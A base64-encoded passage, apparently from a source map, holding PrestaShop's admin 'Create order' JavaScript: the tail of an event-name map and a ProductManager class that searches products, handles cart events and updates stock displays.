U9wdGlvbkNoYW5nZWQnLFxuICAvLyB3aGVuIGNhcnQgZGVsaXZlcnkgc2V0dGluZyBoYXMgYmVlbiBjaGFuZ2VkXG4gIGNhcnREZWxpdmVyeVNldHRpbmdDaGFuZ2VkOiAnT3JkZXJDcmVhdGVDYXJ0RGVsaXZlcnlTZXR0aW5nQ2hhbmdlZFNldCcsXG4gIC8vIHdoZW4gY2FydCBydWxlcyBzZWFyY2ggYWN0aW9uIGlzIGRvbmVcbiAgY2FydFJ1bGVTZWFyY2hlZDogJ09yZGVyQ3JlYXRlQ2FydFJ1bGVTZWFyY2hlZCcsXG4gIC8vIHdoZW4gY2FydCBydWxlIGlzIHJlbW92ZWQgZnJvbSBjYXJ0XG4gIGNhcnRSdWxlUmVtb3ZlZDogJ09yZGVyQ3JlYXRlQ2FydFJ1bGVSZW1vdmVkJyxcbiAgLy8gd2hlbiBjYXJ0IHJ1bGUgaXMgYWRkZWQgdG8gY2FydFxuICBjYXJ0UnVsZUFkZGVkOiAnT3JkZXJDcmVhdGVDYXJ0UnVsZUFkZGVkJyxcbiAgLy8gd2hlbiBjYXJ0IHJ1bGUgY2Fubm90IGJlIGFkZGVkIHRvIGNhcnRcbiAgY2FydFJ1bGVGYWlsZWRUb0FkZDogJ09yZGVyQ3JlYXRlQ2FydFJ1bGVGYWlsZWRUb0FkZCcsXG4gIC8vIHdoZW4gcHJvZHVjdCBzZWFyY2ggYWN0aW9uIGlzIGRvbmVcbiAgcHJvZHVjdFNlYXJjaGVkOiAnT3JkZXJDcmVhdGVQcm9kdWN0U2VhcmNoZWQnLFxuICAvLyB3aGVuIHByb2R1Y3QgaXMgYWRkZWQgdG8gY2FydFxuICBwcm9kdWN0QWRkZWRUb0NhcnQ6ICdPcmRlckNyZWF0ZVByb2R1Y3RBZGRlZFRvQ2FydCcsXG4gIC8vIHdoZW4gYWRkaW5nIHByb2R1Y3QgdG8gY2FydCBmYWlsc1xuICBwcm9kdWN0QWRkVG9DYXJ0RmFpbGVkOiAnT3JkZXJDcmVhdGVQcm9kdWN0QWRkVG9DYXJ0RmFpbGVkJyxcbiAgLy8gd2hlbiBwcm9kdWN0IGlzIHJlbW92ZWQgZnJvbSBjYXJ0XG4gIHByb2R1Y3RSZW1vdmVkRnJvbUNhcnQ6ICdPcmRlckNyZWF0ZVByb2R1Y3RSZW1vdmVkRnJvbUNhcnQnLFxuICAvLyB3aGVuIHByb2R1Y3QgaW4gY2FydCBwcmljZSBoYXMgYmVlbiBjaGFuZ2VkXG4gIHByb2R1Y3RQcmljZUNoYW5nZWQ6ICdPcmRlckNyZWF0ZVByb2R1Y3RQcmljZUNoYW5nZWQnLFxuICAvLyB3aGVuIHByb2R1Y3QgcXVhbnRpdHkgaW4gY2FydCBoYXMgYmVlbiBjaGFuZ2VkXG4gIHByb2R1Y3RRdHlDaGFuZ2VkOiAnT3JkZXJDcmVhdGVQcm9kdWN0UXR5Q2hhbmdlZCcsXG4gIC8vIHdoZW4gY2hhbmdpbmcgcHJvZHVjdCBxdWFudGl0eSBpbiBjYXJ0IGZhaWxlZFxuICBwcm9kdWN0UXR5Q2hhbmdlRmFpbGVkOiAnT3JkZXJDcmVhdGVQcm9kdWN0UXR5Q2hhbmdlRmFpbGVkJyxcbiAgLy8gd2hlbiBvcmRlciBwcm9jZXNzIGVtYWlsIGhhcyBiZWVuIHNlbnQgdG8gY3VzdG9tZXJcbiAgcHJvY2Vzc09yZGVyRW1haWxTZW50OiAnT3JkZXJDcmVhdGVQcm9jZXNzT3JkZXJFbWFpbFNlbnQnLFxuICAvLyB3aGVuIG9yZGVyIHByb2Nlc3MgZW1haWwgc2VuZGluZyBmYWlsZWRcbiAgcHJvY2Vzc09yZGVyRW1haWxGYWlsZWQ6ICdPcmRlckNyZWF0ZVByb2Nlc3NPcmRlckVtYWlsRmFpbGVkJyxcbn07XG4iLCIvKipcbiAqIENvcHlyaWdodCBzaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogUHJlc3RhU2hvcCBpcyBhbiBJbnRlcm5hdGlvbmFsIFJlZ2lzdGVyZWQgVHJhZGVtYXJrICYgUHJvcGVydHkgb2YgUHJlc3RhU2hvcCBTQVxuICpcbiAqIE5PVElDRSBPRiBMSUNFTlNFXG4gKlxuICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS5tZC5cbiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOlxuICogaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wXG4gKiBJZiB5b3UgZGlkIG5vdCByZWNlaXZlIGEgY29weSBvZiB0aGUgbGljZW5zZSBhbmQgYXJlIHVuYWJsZSB0b1xuICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbFxuICogdG8gbGljZW5zZUBwcmVzdGFzaG9wLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5LlxuICpcbiAqIERJU0NMQUlNRVJcbiAqXG4gKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgUHJlc3RhU2hvcCB0byBuZXdlclxuICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIFByZXN0YVNob3AgZm9yIHlvdXJcbiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwczovL2RldmRvY3MucHJlc3Rhc2hvcC5jb20vIGZvciBtb3JlIGluZm9ybWF0aW9uLlxuICpcbiAqIEBhdXRob3IgICAgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzIDxjb250YWN0QHByZXN0YXNob3AuY29tPlxuICogQGNvcHlyaWdodCBTaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogQGxpY2Vuc2UgICBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjAgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICovXG5cbmltcG9ydCBDYXJ0RWRpdG9yIGZyb20gJ0BwYWdlcy9vcmRlci9jcmVhdGUvY2FydC1lZGl0b3InO1xuaW1wb3J0IGNyZWF0ZU9yZGVyTWFwIGZyb20gJ0BwYWdlcy9vcmRlci9jcmVhdGUvY3JlYXRlLW9yZGVyLW1hcCc7XG5pbXBvcnQgZXZlbnRNYXAgZnJvbSAnQHBhZ2VzL29yZGVyL2NyZWF0ZS9ldmVudC1tYXAnO1xuaW1wb3J0IHtFdmVudEVtaXR0ZXJ9IGZyb20gJ0Bjb21wb25lbnRzL2V2ZW50LWVtaXR0ZXInO1xuaW1wb3J0IFByb2R1Y3RSZW5kZXJlciBmcm9tICdAcGFnZXMvb3JkZXIvY3JlYXRlL3Byb2R1Y3QtcmVuZGVyZXInO1xuaW1wb3J0IFJvdXRlciBmcm9tICdAY29tcG9uZW50cy9yb3V0ZXInO1xuXG5jb25zdCB7JH0gPSB3aW5kb3c7XG5cbi8qKlxuICogUHJvZHVjdCBjb21wb25lbnQgT2JqZWN0IGZvciBcIkNyZWF0ZSBvcmRlclwiIHBhZ2VcbiAqL1xuZXhwb3J0IGRlZmF1bHQgY2xhc3MgUHJvZHVjdE1hbmFnZXIge1xuICBjb25zdHJ1Y3RvcigpIHtcbiAgICB0aGlzLnByb2R1Y3RzID0gW107XG4gICAgdGhpcy5zZWxlY3RlZFByb2R1Y3QgPSBudWxsO1xuICAgIHRoaXMuc2VsZWN0ZWRDb21iaW5hdGlvbklkID0gbnVsbDtcbiAgICB0aGlzLmFjdGl2ZVNlYXJjaFJlcXVlc3QgPSBudWxsO1xuXG4gICAgdGhpcy5wcm9kdWN0UmVuZGVyZXIgPSBuZXcgUHJvZHVjdFJlbmRlcmVyKCk7XG4gICAgdGhpcy5yb3V0ZXIgPSBuZXcgUm91dGVyKCk7XG4gICAgdGhpcy5jYXJ0RWRpdG9yID0gbmV3IENhcnRFZGl0b3IoKTtcblxuICAgIHRoaXMuaW5pdExpc3RlbmVycygpO1xuXG4gICAgcmV0dXJuIHtcbiAgICAgIHNlYXJjaDogKHNlYXJjaFBocmFzZSkgPT4gdGhpcy5zZWFyY2goc2VhcmNoUGhyYXNlKSxcbiAgICAgIGFkZFByb2R1Y3RUb0NhcnQ6IChjYXJ0SWQpID0+IHRoaXMuY2FydEVkaXRvci5hZGRQcm9kdWN0KGNhcnRJZCwgdGhpcy5nZXRQcm9kdWN0RGF0YSgpKSxcbiAgICAgIHJlbW92ZVByb2R1Y3RGcm9tQ2FydDogKGNhcnRJZCwgcHJvZHVjdCkgPT4gdGhpcy5jYXJ0RWRpdG9yLnJlbW92ZVByb2R1Y3RGcm9tQ2FydChjYXJ0SWQsIHByb2R1Y3QpLFxuICAgICAgLyogZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG1heC1sZW4gKi9cbiAgICAgIGNoYW5nZVByb2R1Y3RQcmljZTogKGNhcnRJZCwgY3VzdG9tZXJJZCwgdXBkYXRlZFByb2R1Y3QpID0+IHRoaXMuY2FydEVkaXRvci5jaGFuZ2VQcm9kdWN0UHJpY2UoY2FydElkLCBjdXN0b21lcklkLCB1cGRhdGVkUHJvZHVjdCksXG4gICAgICBjaGFuZ2VQcm9kdWN0UXR5OiAoY2FydElkLCB1cGRhdGVkUHJvZHVjdCkgPT4gdGhpcy5jYXJ0RWRpdG9yLmNoYW5nZVByb2R1Y3RRdHkoY2FydElkLCB1cGRhdGVkUHJvZHVjdCksXG4gICAgfTtcbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0aWFsaXplcyBldmVudCBsaXN0ZW5lcnNcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGluaXRMaXN0ZW5lcnMoKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5wcm9kdWN0U2VsZWN0KS5vbignY2hhbmdlJywgKGUpID0+IHRoaXMuaW5pdFByb2R1Y3RTZWxlY3QoZSkpO1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY29tYmluYXRpb25zU2VsZWN0KS5vbignY2hhbmdlJywgKGUpID0+IHRoaXMuaW5pdENvbWJpbmF0aW9uU2VsZWN0KGUpKTtcblxuICAgIHRoaXMub25Qcm9kdWN0U2VhcmNoKCk7XG4gICAgdGhpcy5vbkFkZFByb2R1Y3RUb0NhcnQoKTtcbiAgICB0aGlzLm9uUmVtb3ZlUHJvZHVjdEZyb21DYXJ0KCk7XG4gICAgdGhpcy5vblByb2R1Y3RQcmljZUNoYW5nZSgpO1xuICAgIHRoaXMub25Qcm9kdWN0UXR5Q2hhbmdlKCk7XG4gIH1cblxuICAvKipcbiAgICogTGlzdGVucyBmb3IgcHJvZHVjdCBzZWFyY2ggZXZlbnRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIG9uUHJvZHVjdFNlYXJjaCgpIHtcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAucHJvZHVjdFNlYXJjaGVkLCAocmVzcG9uc2UpID0+IHtcbiAgICAgIHRoaXMucHJvZHVjdHMgPSByZXNwb25zZS5wcm9kdWN0cztcbiAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLnJlbmRlclNlYXJjaFJlc3VsdHModGhpcy5wcm9kdWN0cyk7XG4gICAgICB0aGlzLnNlbGVjdEZpcnN0UmVzdWx0KCk7XG4gICAgfSk7XG4gIH1cblxuICAvKipcbiAgICogTGlzdGVucyBmb3IgYWRkIHByb2R1Y3QgdG8gY2FydCBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25BZGRQcm9kdWN0VG9DYXJ0KCkge1xuICAgIC8vIG9uIHN1Y2Nlc3NcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAucHJvZHVjdEFkZGVkVG9DYXJ0LCAoY2FydEluZm8pID0+IHtcbiAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLmNsZWFuQ2FydEJsb2NrQWxlcnRzKCk7XG4gICAgICB0aGlzLnVwZGF0ZVN0b2NrT25Qcm9kdWN0QWRkKCk7XG4gICAgICBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5jYXJ0TG9hZGVkLCBjYXJ0SW5mbyk7XG4gICAgfSk7XG5cbiAgICAvLyBvbiBmYWlsdXJlXG4gICAgRXZlbnRFbWl0dGVyLm9uKGV2ZW50TWFwLnByb2R1Y3RBZGRUb0NhcnRGYWlsZWQsIChlcnJvck1lc3NhZ2UpID0+IHtcbiAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLnJlbmRlckNhcnRCbG9ja0Vycm9yQWxlcnQoZXJyb3JNZXNzYWdlKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGZvciByZW1vdmUgcHJvZHVjdCBmcm9tIGNhcnQgZXZlbnRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIG9uUmVtb3ZlUHJvZHVjdEZyb21DYXJ0KCkge1xuICAgIEV2ZW50RW1pdHRlci5vbihldmVudE1hcC5wcm9kdWN0UmVtb3ZlZEZyb21DYXJ0LCAoZGF0YSkgPT4ge1xuICAgICAgdGhpcy51cGRhdGVTdG9ja09uUHJvZHVjdFJlbW92ZShkYXRhLnByb2R1Y3QpO1xuICAgICAgRXZlbnRFbWl0dGVyLmVtaXQoZXZlbnRNYXAuY2FydExvYWRlZCwgZGF0YS5jYXJ0SW5mbyk7XG4gICAgfSk7XG4gIH1cblxuICAvKipcbiAgICogTGlzdGVucyBmb3IgcHJvZHVjdCBwcmljZSBjaGFuZ2UgaW4gY2FydCBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25Qcm9kdWN0UHJpY2VDaGFuZ2UoKSB7XG4gICAgRXZlbnRFbWl0dGVyLm9uKGV2ZW50TWFwLnByb2R1Y3RQcmljZUNoYW5nZWQsIChjYXJ0SW5mbykgPT4ge1xuICAgICAgdGhpcy5wcm9kdWN0UmVuZGVyZXIuY2xlYW5DYXJ0QmxvY2tBbGVydHMoKTtcbiAgICAgIEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmNhcnRMb2FkZWQsIGNhcnRJbmZvKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGZvciBwcm9kdWN0IHF1YW50aXR5IGNoYW5nZSBpbiBjYXJ0IHN1Y2Nlc3MvZmFpbHVyZSBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25Qcm9kdWN0UXR5Q2hhbmdlKCkge1xuICAgIGNvbnN0IGVuYWJsZVF0eUlucHV0cyA9ICgpID0+IHtcbiAgICAgIGNvbnN0IGlucHV0c1F0eSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFF0eUlucHV0KTtcblxuICAgICAgaW5wdXRzUXR5LmZvckVhY2goKGlucHV0UXR5KSA9PiB7XG4gICAgICAgIGlucHV0UXR5LmRpc2FibGVkID0gZmFsc2U7XG4gICAgICB9KTtcbiAgICB9O1xuXG4gICAgLy8gb24gc3VjY2Vzc1xuICAgIEV2ZW50RW1pdHRlci5vbihldmVudE1hcC5wcm9kdWN0UXR5Q2hhbmdlZCwgKGRhdGEpID0+IHtcbiAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLmNsZWFuQ2FydEJsb2NrQWxlcnRzKCk7XG4gICAgICB0aGlzLnVwZGF0ZVN0b2NrT25RdHlDaGFuZ2UoZGF0YS5wcm9kdWN0KTtcblxuICAgICAgJChjcmVhdGVPcmRlck1hcC5jcmVhdGVPcmRlckJ1dHRvbikucHJvcCgnZGlzYWJsZWQnLCBmYWxzZSk7XG4gICAgICBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5jYXJ0TG9hZGVkLCBkYXRhLmNhcnRJbmZvKTtcblxuICAgICAgZW5hYmxlUXR5SW5wdXRzKCk7XG4gICAgfSk7XG5cbiAgICAvLyBvbiBmYWlsdXJlXG4gICAgRXZlbnRFbWl0dGVyLm9uKGV2ZW50TWFwLnByb2R1Y3RRdHlDaGFuZ2VGYWlsZWQsIChlKSA9PiB7XG4gICAgICB0aGlzLnByb2R1Y3RSZW5kZXJlci5yZW5kZXJDYXJ0QmxvY2tFcnJvckFsZXJ0KGUucmVzcG9uc2VKU09OLm1lc3NhZ2UpO1xuICAgICAgJChjcmVhdGVPcmRlck1hcC5jcmVhdGVPcmRlckJ1dHRvbikucHJvcCgnZGlzYWJsZWQnLCB0cnVlKTtcbiAgICAgIGVuYWJsZVF0eUlucHV0cygpO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIEluaXRpYWxpemVzIHByb2R1Y3Qgc2VsZWN0XG4gICAqXG4gICAqIEBwYXJhbSBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaW5pdFByb2R1Y3RTZWxlY3QoZXZlbnQpIHtcbiAgICBjb25zdCBwcm9kdWN0SWQgPSBOdW1iZXIoXG4gICAgICAkKGV2ZW50LmN1cnJlbnRUYXJnZXQpXG4gICAgICAgIC5maW5kKCc6c2VsZWN0ZWQnKVxuICAgICAgICAudmFsKCksXG4gICAgKTtcbiAgICB0aGlzLnNlbGVjdFByb2R1Y3QocHJvZHVjdElkKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0aWFsaXplcyBjb21iaW5hdGlvbiBzZWxlY3RcbiAgICpcbiAgICogQHBhcmFtIGV2ZW50XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0Q29tYmluYXRpb25TZWxlY3QoZXZlbnQpIHtcbiAgICBjb25zdCBjb21iaW5hdGlvbklkID0gTnVtYmVyKFxuICAgICAgJChldmVudC5jdXJyZW50VGFyZ2V0KVxuICAgICAgICAuZmluZCgnOnNlbGVjdGVkJylcbiAgICAgICAgLnZhbCgpLFxuICAgICk7XG4gICAgdGhpcy5zZWxlY3RDb21iaW5hdGlvbihjb21iaW5hdGlvbklkKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTZWFyY2hlcyBmb3IgcHJvZHVjdFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgc2VhcmNoKHNlYXJjaFBocmFzZSkge1xuICAgIC8vIFNlYXJjaCBvbmx5IGlmIHRoZSBzZWFyY2ggcGhyYXNlIGxlbmd0aCBpcyBncmVhdGVyIHRoYW4gMiBjaGFyYWN0ZXJzXG4gICAgaWYgKHNlYXJjaFBocmFzZS5sZW5ndGggPCAyKSB7XG4gICAgICByZXR1cm47XG4gICAgfVxuXG4gICAgdGhpcy5wcm9kdWN0UmVuZGVyZXIucmVuZGVyU2VhcmNoaW5nKCk7XG4gICAgaWYgKHRoaXMuYWN0aXZlU2VhcmNoUmVxdWVzdCAhPT0gbnVsbCkge1xuICAgICAgdGhpcy5hY3RpdmVTZWFyY2hSZXF1ZXN0LmFib3J0KCk7XG4gICAgfVxuXG4gICAgY29uc3QgcGFyYW1zID0ge1xuICAgICAgc2VhcmNoX3BocmFzZTogc2VhcmNoUGhyYXNlLFxuICAgIH07XG5cbiAgICBpZiAoJChjcmVhdGVPcmRlck1hcC5jYXJ0Q3VycmVuY3lTZWxlY3QpLmRhdGEoJ3NlbGVjdGVkQ3VycmVuY3lJZCcpICE9PSB1bmRlZmluZWQpIHtcbiAgICAgIHBhcmFtcy5jdXJyZW5jeV9pZCA9ICQoY3JlYXRlT3JkZXJNYXAuY2FydEN1cnJlbmN5U2VsZWN0KS5kYXRhKCdzZWxlY3RlZEN1cnJlbmN5SWQnKTtcbiAgICB9XG5cbiAgICBjb25zdCAkc2VhcmNoUmVxdWVzdCA9ICQuZ2V0KHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9vcmRlcnNfcHJvZHVjdHNfc2VhcmNoJyksIHBhcmFtcyk7XG4gICAgdGhpcy5hY3RpdmVTZWFyY2hSZXF1ZXN0ID0gJHNlYXJjaFJlcXVlc3Q7XG5cbiAgICAkc2VhcmNoUmVxdWVzdFxuICAgICAgLnRoZW4oKHJlc3BvbnNlKSA9PiB7XG4gICAgICAgIEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLnByb2R1Y3RTZWFyY2hlZCwgcmVzcG9uc2UpO1xuICAgICAgfSlcbiAgICAgIC5jYXRjaCgocmVzcG9uc2UpID0+IHtcbiAgICAgICAgaWYgKHJlc3BvbnNlLnN0YXR1c1RleHQgPT09ICdhYm9ydCcpIHtcbiAgICAgICAgICByZXR1cm47XG4gICAgICAgIH1cblxuICAgICAgICB3aW5kb3cuc2hvd0Vycm9yTWVzc2FnZShyZXNwb25zZS5yZXNwb25zZUpTT04ubWVzc2FnZSk7XG4gICAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0aWF0ZSBmaXJzdCByZXN1bHQgZGF0YXNldCBhZnRlciBzZWFyY2hcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNlbGVjdEZpcnN0UmVzdWx0KCkge1xuICAgIHRoaXMudW5zZXRQcm9kdWN0KCk7XG5cbiAgICBpZiAodGhpcy5wcm9kdWN0cy5sZW5ndGggIT09IDApIHtcbiAgICAgIHRoaXMuc2VsZWN0UHJvZHVjdCh0aGlzLnByb2R1Y3RzWzBdLnByb2R1Y3RJZCk7XG4gICAgfVxuICB9XG5cbiAgLyoqXG4gICAqIEhhbmRsZXMgdXNlIGNhc2Ugd2hlbiBwcm9kdWN0IGlzIHNlbGVjdGVkIGZyb20gc2VhcmNoIHJlc3VsdHNcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICpcbiAgICogQHBhcmFtIHtOdW1iZXJ9IHByb2R1Y3RJZFxuICAgKi9cbiAgc2VsZWN0UHJvZHVjdChwcm9kdWN0SWQpIHtcbiAgICB0aGlzLnVuc2V0Q29tYmluYXRpb24oKTtcblxuICAgIGNvbnN0IHNlbGVjdGVkUHJvZHVjdCA9IE9iamVjdC52YWx1ZXModGhpcy5wcm9kdWN0cykuZmluZCgocHJvZHVjdCkgPT4gcHJvZHVjdC5wcm9kdWN0SWQgPT09IHByb2R1Y3RJZCk7XG5cbiAgICBpZiAoc2VsZWN0ZWRQcm9kdWN0KSB7XG4gICAgICB0aGlzLnNlbGVjdGVkUHJvZHVjdCA9IHNlbGVjdGVkUHJvZHVjdDtcbiAgICB9XG5cbiAgICB0aGlzLnByb2R1Y3RSZW5kZXJlci5yZW5kZXJQcm9kdWN0TWV0YWRhdGEodGhpcy5zZWxlY3RlZFByb2R1Y3QpO1xuICAgIC8vIGlmIHByb2R1Y3QgaGFzIGNvbWJpbmF0aW9ucyBzZWxlY3QgdGhlIGZpcnN0IGVsc2UgbGVhdmUgaXQgbnVsbFxuICAgIGlmICh0aGlzLnNlbGVjdGVkUHJvZHVjdC5jb21iaW5hdGlvbnMubGVuZ3RoICE9PSAwKSB7XG4gICAgICB0aGlzLnNlbGVjdENvbWJpbmF0aW9uKE9iamVjdC5rZXlzKHRoaXMuc2VsZWN0ZWRQcm9kdWN0LmNvbWJpbmF0aW9ucylbMF0pO1xuICAgIH1cblxuICAgIHJldHVybiB0aGlzLnNlbGVjdGVkUHJvZHVjdDtcbiAgfVxuXG4gIC8qKlxuICAgKiBIYW5kbGVzIHVzZSBjYXNlIHdoZW4gbmV3IGNvbWJpbmF0aW9uIGlzIHNlbGVjdGVkXG4gICAqXG4gICAqIEBwYXJhbSBjb21iaW5hdGlvbklkXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzZWxlY3RDb21iaW5hdGlvbihjb21iaW5hdGlvbklkKSB7XG4gICAgY29uc3QgY29tYmluYXRpb24gPSB0aGlzLnNlbGVjdGVkUHJvZHVjdC5jb21iaW5hdGlvbnNbY29tYmluYXRpb25JZF07XG5cbiAgICB0aGlzLnNlbGVjdGVkQ29tYmluYXRpb25JZCA9IGNvbWJpbmF0aW9uSWQ7XG4gICAgdGhpcy5wcm9kdWN0UmVuZGVyZXIucmVuZGVyU3RvY2soXG4gICAgICAkKGNyZWF0ZU9yZGVyTWFwLmluU3RvY2tDb3VudGVyKSxcbiAgICAgICQoY3JlYXRlT3JkZXJNYXAucXVhbnRpdHlJbnB1dCksXG4gICAgICBjb21iaW5hdGlvbi5zdG9jayxcbiAgICAgIHRoaXMuc2VsZWN0ZWRQcm9kdWN0LmF2YWlsYWJsZU91dE9mU3RvY2sgfHwgY29tYmluYXRpb24uc3RvY2sgPD0gMCxcbiAgICApO1xuXG4gICAgcmV0dXJuIGNvbWJpbmF0aW9uO1xuICB9XG5cbiAgLyoqXG4gICAqIFNldHMgdGhlIHNlbGVjdGVkIGNvbWJpbmF0aW9uIGlkIHRvIG51bGxcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHVuc2V0Q29tYmluYXRpb24oKSB7XG4gICAgdGhpcy5zZWxlY3RlZENvbWJpbmF0aW9uSWQgPSBudWxsO1xuICB9XG5cbiAgLyoqXG4gICAqIFNldHMgdGhlIHNlbGVjdGVkIHByb2R1Y3QgdG8gbnVsbFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgdW5zZXRQcm9kdWN0KCkge1xuICAgIHRoaXMuc2VsZWN0ZWRQcm9kdWN0ID0gbnVsbDtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZXRyaWV2ZXMgcHJvZHVjdCBkYXRhIGZyb20gcHJvZHVjdCBzZWFyY2ggcmVzdWx0IGJsb2NrIGZpZWxkc1xuICAgKlxuICAgKiBAcmV0dXJucyB7T2JqZWN0fVxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgZ2V0UHJvZHVjdERhdGEoKSB7XG4gICAgY29uc3QgJGZpbGVJbnB1dHMgPSAkKGNyZWF0ZU9yZGVyTWFwLnByb2R1Y3RDdXN0b21pemF0aW9uQ29udGFpbmVyKS5maW5kKCdpbnB1dFt0eXBlPVwiZmlsZVwiXScpO1xuICAgIGNvbnN0IGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoY3JlYXRlT3JkZXJNYXAucHJvZHVjdEFkZEZvcm0pKTtcbiAgICBjb25zdCBmaWxlU2l6ZXMgPSB7fTtcblxuICAgIC8vIGFkZHMga2V5IHZhbHVlIHBhaXJzIHtpbnB1dCBuYW1lOiBmaWxlIHNpemV9IG9mIGVhY2ggZmlsZSBpbiBzZXBhcmF0ZSBvYmplY3RcbiAgICAvLyBpbiBjYXNlIGZvcm1EYXRhIHNpemUgZXhjZWVkcyBzZXJ2ZXIgc2V0dGluZ3MuXG4gICAgJC5lYWNoKCRmaWxlSW5wdXRzLCAoa2V5LCBpbnB1dCkgPT4ge1xuICAgICAgaWYgKGlucHV0LmZpbGVzLmxlbmd0aCAhPT0gMCkge1xuICAgICAgICBmaWxlU2l6ZXNbJChpbnB1dCkuZGF0YSgnY3VzdG9taXphdGlvbi1maWVsZC1pZCcpXSA9IGlucHV0LmZpbGVzWzBdLnNpemU7XG4gICAgICB9XG4gICAgfSk7XG5cbiAgICByZXR1cm4ge1xuICAgICAgcHJvZHVjdDogZm9ybURhdGEsXG4gICAgICBmaWxlU2l6ZXMsXG4gICAgfTtcbiAgfVxuXG4gIC8qKlxuICAgKiBVcGRhdGVzIHRoZSBzdG9jayB3aGVuIHRoZSBwcm9kdWN0IGlzIGFkZGVkIHRvIGNhcnQgaW4gXCJjcmVhdGUgbmV3IG9yZGVyXCIgcGFnZVxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgdXBkYXRlU3RvY2tPblByb2R1Y3RBZGQoKSB7XG4gICAgY29uc3Qge3Byb2R1Y3RJZH0gPSB0aGlzLnNlbGVjdGVkUHJvZHVjdDtcbiAgICBjb25zdCBhdHRyaWJ1dGVJZCA9IHRoaXMuc2VsZWN0ZWRDb21iaW5hdGlvbklkO1xuICAgIGNvbnN0IHF0eSA9IC1OdW1iZXIoJChjcmVhdGVPcmRlck1hcC5xdWFudGl0eUlucHV0KS52YWwoKSk7XG5cbiAgICB0aGlzLnVwZGF0ZVN0b2NrKHByb2R1Y3RJZCwgYXR0cmlidXRlSWQsIHF0eSk7XG4gIH1cblxuICAvKipcbiAgICogVXBkYXRlcyB0aGUgc3RvY2sgd2hlbiB0aGUgcHJvZHVjdCBpcyByZW1vdmVkIGZyb20gY2FydCBpbiBPcmRlcnMvXCJjcmVhdGUgbmV3IG9yZGVyIHBhZ2VcIlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgdXBkYXRlU3RvY2tPblByb2R1Y3RSZW1vdmUocHJvZHVjdCkge1xuICAgIGNvbnN0IHtwcm9kdWN0SWQsIGF0dHJpYnV0ZUlkLCBxdHlUb1JlbW92ZX0gPSBwcm9kdWN0O1xuICAgIGNvbnN0IHF0eSA9IHF0eVRvUmVtb3ZlO1xuXG4gICAgdGh